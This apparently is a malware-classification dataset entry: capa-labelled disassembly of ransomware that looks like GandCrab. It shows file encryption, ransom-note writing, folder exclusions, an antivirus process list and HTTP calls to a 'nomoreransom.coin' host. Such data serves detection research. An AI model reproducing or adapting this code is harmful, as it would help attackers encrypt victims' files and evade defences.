joyce8/EMBER2024-capa huggingface dataset:
Function at 0xf5a6530
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0xf5b2a48
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0xf5a659e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0xf5a6597
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0xf5a6595
xor eax, eax
jmp 0xf5a663c
jmp 0xf5a659e
xor eax, eax
jmp 0xf5a663c
mov dword [ebp - 0xc], 0
lea edx, [ebp - 8]
push edx
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0xf5a6622
mov dword [ebp - 0x10], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [eax], 0xc8
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0xc], 0
jne 0xf5a6622
mov ecx, dword [ebp - 0x14]
call fcn.0f5a34f0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0xf5b2a48
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0xf5a6640
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get program files directory

Disassembly:
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x201
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, str.ProgramData_
mov ecx, esi
mov edi, eax
call fcn.0f5a8090
test eax, eax
jne 0xf5a676c
mov edx, str.Program_Files_
mov ecx, esi
call fcn.0f5a8090
test eax, eax
jne 0xf5a676c
mov edx, str.Tor_Browser_
mov ecx, esi
call fcn.0f5a8090
test eax, eax
jne 0xf5a676c
mov edx, str.Ransomware
mov ecx, esi
call fcn.0f5a8090
test eax, eax
jne 0xf5a676c
mov edx, str.All_Users_
mov ecx, esi
call fcn.0f5a8090
test eax, eax
jne 0xf5a676c
mov edx, str.Local_Settings_
mov ecx, esi
call fcn.0f5a8090
test eax, eax
jne 0xf5a676c
mov edx, str.:Windows_
mov ecx, esi
call fcn.0f5a8090
test eax, eax
jne 0xf5a676c
mov ebx, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push eax
push 0x2a
push edi
push eax
call ebx
test eax, eax
je 0xf5a6705
mov edx, edi
mov ecx, esi
call fcn.0f5a8090
test eax, eax
jne 0xf5a676c
push 0
push 0x2b
push edi
push 0
call ebx
test eax, eax
je 0xf5a671f
mov edx, edi
mov ecx, esi
call fcn.0f5a8090
test eax, eax
jne 0xf5a676c
push 0
push 0x24
push edi
push 0
call ebx
test eax, eax
je 0xf5a6739
mov edx, edi
mov ecx, esi
call fcn.0f5a8090
test eax, eax
jne 0xf5a676c
push 0
push 0x1c
push edi
push 0
call ebx
test eax, eax
je 0xf5a6753
mov edx, edi
mov ecx, esi
call fcn.0f5a8090
test eax, eax
jne 0xf5a676c
push 0x8000
push 0
push edi
mov esi, 1
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, esi
pop edi
pop esi
pop ebx
ret
push 0x8000
xor esi, esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0xf5a6790
Capabilities:
Manipulate boot configuration

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
mov edi, ecx
push edi
call esi
push edi
mov ebx, eax
call esi
lea esi, [edi - 2]
lea esi, [esi + eax*2]
dec ebx
je 0xf5a67be
lea esp, [esp]
sub esi, 2
dec ebx
cmp word [esi], 0x5c
je 0xf5a67be
test ebx, ebx
jne 0xf5a67b0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
add esi, 2
push str.desktop.ini
push esi
call edi
test eax, eax
jne 0xf5a67dc
pop edi
pop esi
mov eax, 1
pop ebx
ret
push str.autorun.inf
push esi
call edi
test eax, eax
je 0xf5a67d3
push str.ntuser.dat
push esi
call edi
test eax, eax
je 0xf5a67d3
push str.iconcache.db
push esi
call edi
test eax, eax
je 0xf5a67d3
push str.bootsect.bak
push esi
call edi
test eax, eax
je 0xf5a67d3
push str.boot.ini
push esi
call edi
test eax, eax
je 0xf5a67d3
push str.ntuser.dat.log
push esi
call edi
test eax, eax
je 0xf5a67d3
push str.thumbs.db
push esi
call edi
test eax, eax
je 0xf5a67d3
push str.GDCB_DECRYPT.txt
push esi
call edi
neg eax
pop edi
sbb eax, eax
pop esi
inc eax
pop ebx
ret
Function at 0xf5a6950
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x400
push 0
mov edi, edx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov ebx, eax
push 0xf5af41c
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, ebx
call fcn.0f5a6850
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
test eax, eax
jne 0xf5a69af
cmp dword [edi + 0x20], 0xa
jb 0xf5a69af
mov ecx, ebx
call fcn.0f5a6790
test eax, eax
je 0xf5a69ce
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
mov ecx, ebx
call fcn.0f5a35e0
mov edi, eax
mov esi, edx
jmp 0xf5a69b5
Function at 0xf5a6a40
Capabilities:
Enumerate files on windows
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push ebx
push esi
mov esi, ecx
push edi
push esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0xf5afec4
push esi
lea ebx, [esi + eax*2]
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x268]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebx], ax
xor ebx, ebx
jmp 0xf5a6a90
push 0xf5afec8
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0xf5a6bb2
push 0xf5afecc
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0xf5a6bb2
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax - 1]
lea ecx, [esi + ecx*2]
test eax, eax
je 0xf5a6ba8
nop
cmp word [ecx], 0x2e
je 0xf5a6aec
sub ecx, 2
dec eax
jne 0xf5a6ae0
test eax, eax
je 0xf5a6ba8
push str..sql
push ecx
call edi
test eax, eax
jne 0xf5a6ba8
push eax
push eax
push 3
push eax
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, 0x40000000
jae 0xf5a6b92
push 4
push 0x3000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0xf5a6b8f
push 0
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0xf5a6b81
mov edx, str.
mov ecx, esi
call fcn.0f5a8100
test eax, eax
je 0xf5a6b81
push str.
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esi + 1]
add ecx, eax
call fcn.0f5a69e0
mov dword [ebp - 8], eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 8]
test ebx, ebx
jne 0xf5a6bca
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
jmp 0xf5a6baa
xor ebx, ebx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x268]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0xf5a6a90
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a6be0
Capabilities:
Allocate or change rwx memory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x402
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push str._sGDCB_DECRYPT.txt
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xf5a6c3e
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0xb7
sete bl
jmp 0xf5a6c70
mov eax, dword [0xf5b2a64]
test eax, eax
je 0xf5a6c64
push 0
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0xf5b2a64]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xf5a6c90
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov edi, ecx
call fcn.0f5a6640
test eax, eax
je 0xf5a6dd4
mov ecx, edi
call fcn.0f5a6a40
test eax, eax
jne 0xf5a6dd4
call fcn.0f5a6be0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0xf5afec4
push edi
lea ebx, [edi + eax*2]
mov dword [ebp - 0x10], ebx
call esi
lea eax, [ebp - 0x264]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor ecx, ecx
mov dword [ebp - 8], eax
mov word [ebx], cx
cmp eax, 0xffffffff
jne 0xf5a6d04
mov eax, 0xdeadbeaf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp + 0x10]
jmp 0xf5a6d10
push 0xf5afec8
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0xf5a6db3
push 0xf5afecc
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0xf5a6db3
lea eax, [ebp - 0x238]
push eax
push edi
call esi
test byte [ebp - 0x264], 0x10
je 0xf5a6d71
push 0xf5afefc
push edi
call esi
mov edx, dword [ebp - 0x14]
mov ecx, edi
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0f5a6c90
add esp, 0xc
jmp 0xf5a6dab
push dword [ebp + 8]
mov eax, dword [ebx]
lea edx, [ebp - 0x264]
mov esi, dword [ebx + 4]
push ecx
mov ecx, edi
mov dword [ebp - 0xc], eax
call fcn.0f5a6950
add esp, 8
add dword [ebx], eax
adc dword [ebx + 4], edx
cmp esi, dword [ebx + 4]
ja 0xf5a6da5
jb 0xf5a6da0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebx]
jae 0xf5a6da5
mov eax, dword [ebp + 0xc]
inc dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0xf5a6d10
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a6e90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 8]
push esi
push edi
xor edi, edi
call fcn.0f5a7ce0
push 0x40
push 0x3000
push 0x2801
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0xf5aff0c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push edi
push 0xf5afa7c
sub esp, 8
lea ecx, [ebp - 8]
push 0x27ff
push esi
push edi
push edi
push 0xf5aff10
push 0xf5aff14
call fcn.0f5a7ef0
test eax, eax
je 0xf5a6f11
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
cmp eax, 0x80
jae 0xf5a6f11
push esi
push 0xf5afab4
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edi, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
test eax, eax
je 0xf5a6f2d
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0xf5a6f40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [ebx + 0x80], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0xf5a6f7c
push dword [ebx + 0x88]
push esi
call edi
push 0xf5aff50
push esi
call edi
push dword [ebx + 0x84]
push esi
call edi
push 0xf5aff54
push esi
call edi
cmp dword [ebx], 0
je 0xf5a6f9d
push dword [ebx + 4]
push esi
call edi
push 0xf5aff50
push esi
call edi
push dword [ebx + 8]
push esi
call edi
push 0xf5aff54
push esi
call edi
cmp dword [ebx + 0xc], 0
je 0xf5a6fbf
push dword [ebx + 0x10]
push esi
call edi
push 0xf5aff50
push esi
call edi
push dword [ebx + 0x14]
push esi
call edi
push 0xf5aff54
push esi
call edi
cmp dword [ebx + 0x18], 0
je 0xf5a6fe1
push dword [ebx + 0x1c]
push esi
call edi
push 0xf5aff50
push esi
call edi
push dword [ebx + 0x20]
push esi
call edi
push 0xf5aff54
push esi
call edi
cmp dword [ebx + 0x24], 0
je 0xf5a7003
push dword [ebx + 0x28]
push esi
call edi
push 0xf5aff50
push esi
call edi
push dword [ebx + 0x2c]
push esi
call edi
push 0xf5aff54
push esi
call edi
cmp dword [ebx + 0x30], 0
je 0xf5a7025
push dword [ebx + 0x34]
push esi
call edi
push 0xf5aff50
push esi
call edi
push dword [ebx + 0x38]
push esi
call edi
push 0xf5aff54
push esi
call edi
cmp dword [ebx + 0x3c], 0
je 0xf5a7047
push dword [ebx + 0x40]
push esi
call edi
push 0xf5aff50
push esi
call edi
push dword [ebx + 0x44]
push esi
call edi
push 0xf5aff54
push esi
call edi
cmp dword [ebx + 0x48], 0
je 0xf5a7069
push dword [ebx + 0x4c]
push esi
call edi
push 0xf5aff50
push esi
call edi
push dword [ebx + 0x50]
push esi
call edi
push 0xf5aff54
push esi
call edi
cmp dword [ebx + 0x54], 0
je 0xf5a708b
push dword [ebx + 0x58]
push esi
call edi
push 0xf5aff50
push esi
call edi
push dword [ebx + 0x5c]
push esi
call edi
push 0xf5aff54
push esi
call edi
cmp dword [ebx + 0x60], 0
je 0xf5a70fc
push 0x40
push 0x3000
push 0x42
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x6c]
mov dword [ebp + 8], eax
test ecx, ecx
je 0xf5a70c1
push dword [ebx + 0x70]
push ecx
push 0xf5aff58
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0xf5a70d0
push str.undefined
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push dword [ebx + 0x64]
push esi
call edi
push 0xf5aff50
push esi
call edi
push dword [ebp + 8]
push esi
call edi
push 0xf5aff54
push esi
call edi
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebx + 0x74], 0
je 0xf5a711e
push dword [ebx + 0x78]
push esi
call edi
push 0xf5aff50
push esi
call edi
push dword [ebx + 0x7c]
push esi
call edi
push 0xf5aff54
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
pop edi
mov word [esi + eax*2 - 2], cx
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0xf5a72b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0xf5a731e
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0xf5a7306
push dword [ebp - 4]
lea esi, [eax + 1]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x18
Function at 0xf5a7a10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
mov ebx, dword [ebp + 8]
push 4
push 0x3000
push 4
push 0
mov dword [ebx], eax
mov dword [ebp - 0x4c], str.AVP.EXE
mov dword [ebp - 0x48], str.ekrn.exe
mov dword [ebp - 0x44], str.avgnt.exe
mov dword [ebp - 0x40], str.ashDisp.exe
mov dword [ebp - 0x3c], str.NortonAntiBot.exe
mov dword [ebp - 0x38], str.Mcshield.exe
mov dword [ebp - 0x34], str.avengine.exe
mov dword [ebp - 0x30], str.cmdagent.exe
mov dword [ebp - 0x2c], str.smc.exe
mov dword [ebp - 0x28], str.persfw.exe
mov dword [ebp - 0x24], str.pccpfw.exe
mov dword [ebp - 0x20], str.fsguiexe.exe
mov dword [ebp - 0x1c], str.cfp.exe
mov dword [ebp - 0x18], str.msmpeng.exe
call esi
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0xf5a7ad2
push 0
push 2
mov dword [edi], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0xf5a7add
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
xor esi, esi
push edi
push eax
mov dword [ebp - 8], ecx
mov dword [ebp + 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0xf5a7bcd
lea ecx, [ecx]
test esi, esi
jne 0xf5a7ba7
add edi, 0x24
jmp 0xf5a7b10
push edi
push dword [ebp + esi*4 - 0x4c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0xf5a7b2a
inc esi
cmp esi, 0xe
jb 0xf5a7b10
mov esi, dword [ebp - 4]
jmp 0xf5a7b87
cmp dword [ebp + 8], 0
push edi
push dword [ebx]
mov dword [ebp - 0xc], 1
jne 0xf5a7b4f
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0xf5b0330
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0xf5a7b60
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push 0xf5b0330
push dword [ebx]
call esi
inc dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 4]
lea ecx, [ecx + eax*2]
mov eax, 1
cmp ecx, 0x3c0
mov dword [ebp - 8], ecx
cmova esi, eax
mov dword [ebp - 4], esi
mov edi, dword [ebp - 0x14]
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0xf5a7ba7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0xf5a7b00
cmp dword [ebp - 0xc], 0
je 0xf5a7bc5
mov eax, dword [ebx]
cmp word [eax], 0
je 0xf5a7bc5
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
test edi, edi
jne 0xf5a7bf7
push 0x8000
push edi
push dword [ebx]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0xf5a7ce0
Capabilities:
Contain obfuscated stackstrings
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
push ebx
push esi
push edi
mov edi, dword [sym.imp.WININET.dll_InternetOpenW]
xor eax, eax
push eax
push eax
push eax
push eax
mov word [ebp - 4], ax
mov esi, ecx
lea eax, [ebp - 0xdc]
mov dword [ebp - 0xdc], 0x6f004d
push eax
mov dword [ebp - 0xd8], 0x69007a
mov dword [ebp - 0xd4], 0x6c006c
mov dword [ebp - 0xd0], 0x2f0061
mov dword [ebp - 0xcc], 0x2e0035
mov dword [ebp - 0xc8], 0x200030
mov dword [ebp - 0xc4], 0x570028
mov dword [ebp - 0xc0], 0x6e0069
mov dword [ebp - 0xbc], 0x6f0064
mov dword [ebp - 0xb8], 0x730077
mov dword [ebp - 0xb4], 0x4e0020
mov dword [ebp - 0xb0], 0x200054
mov dword [ebp - 0xac], 0x2e0036
mov dword [ebp - 0xa8], 0x3b0031
mov dword [ebp - 0xa4], 0x570020
mov dword [ebp - 0xa0], 0x57004f
mov dword [ebp - 0x9c], 0x340036
mov dword [ebp - 0x98], 0x200029
mov dword [ebp - 0x94], 0x700041
mov dword [ebp - 0x90], 0x6c0070
mov dword [ebp - 0x8c], 0x570065
mov dword [ebp - 0x88], 0x620065
mov dword [ebp - 0x84], 0x69004b
mov dword [ebp - 0x80], 0x2f0074
mov dword [ebp - 0x7c], 0x330035
mov dword [ebp - 0x78], 0x2e0037
mov dword [ebp - 0x74], 0x360033
mov dword [ebp - 0x70], 0x280020
mov dword [ebp - 0x6c], 0x48004b
mov dword [ebp - 0x68], 0x4d0054
mov dword [ebp - 0x64], 0x2c004c
mov dword [ebp - 0x60], 0x6c0020
mov dword [ebp - 0x5c], 0x6b0069
mov dword [ebp - 0x58], 0x200065
mov dword [ebp - 0x54], 0x650047
mov dword [ebp - 0x50], 0x6b0063
mov dword [ebp - 0x4c], 0x29006f
mov dword [ebp - 0x48], 0x430020
mov dword [ebp - 0x44], 0x720068
mov dword [ebp - 0x40], 0x6d006f
mov dword [ebp - 0x3c], 0x2f0065
mov dword [ebp - 0x38], 0x350035
mov dword [ebp - 0x34], 0x30002e
mov dword [ebp - 0x30], 0x32002e
mov dword [ebp - 0x2c], 0x380038
mov dword [ebp - 0x28], 0x2e0033
mov dword [ebp - 0x24], 0x370038
mov dword [ebp - 0x20], 0x530020
mov dword [ebp - 0x1c], 0x660061
mov dword [ebp - 0x18], 0x720061
mov dword [ebp - 0x14], 0x2f0069
mov dword [ebp - 0x10], 0x330035
mov dword [ebp - 0xc], 0x2e0037
mov dword [ebp - 8], 0x360033
call edi
mov dword [esi + 4], eax
test eax, eax
jne 0xf5a7ee2
push 0x10000000
push eax
push eax
push 1
lea eax, [ebp - 0xdc]
push eax
call edi
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a7ef0
Capabilities:
Allocate or change rwx memory
Connect to http server
Contain obfuscated stackstrings
Execute shellcode via indirect call
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0xf5a7f09
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, esi
call fcn.0f5a7ce0
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esi
test esi, esi
jne 0xf5a7f41
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
push 0x40
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp + 0xc]
mov edi, eax
push 0xf5af41c
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0x8404f700
push 0
push 0
push str.HTTP_1.1
push edi
push dword [ebp + 0x28]
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
test edi, edi
je 0xf5a8062
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x6f0048
push eax
push edi
mov dword [ebp - 0x3c], 0x740073
mov dword [ebp - 0x38], 0x20003a
mov dword [ebp - 0x34], 0x6f006e
mov dword [ebp - 0x30], 0x6f006d
mov dword [ebp - 0x2c], 0x650072
mov dword [ebp - 0x28], 0x610072
mov dword [ebp - 0x24], 0x73006e
mov dword [ebp - 0x20], 0x6d006f
mov dword [ebp - 0x1c], 0x63002e
mov dword [ebp - 0x18], 0x69006f
mov dword [ebp - 0x14], 0x6e
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
test eax, eax
je 0xf5a8062
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0xf5a805c
mov ebx, dword [ebp + 0x1c]
lea eax, [ebp + 8]
mov esi, dword [ebp + 0x18]
dec ebx
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0xf5a8062
mov edi, edi
mov eax, dword [ebp + 8]
test eax, eax
je 0xf5a8062
mov byte [eax + esi], 0
lea eax, [ebp + 8]
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
mov dword [ebp - 8], 1
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0xf5a8030
jmp 0xf5a8062
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 0xc]
call esi
push 0x8000
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c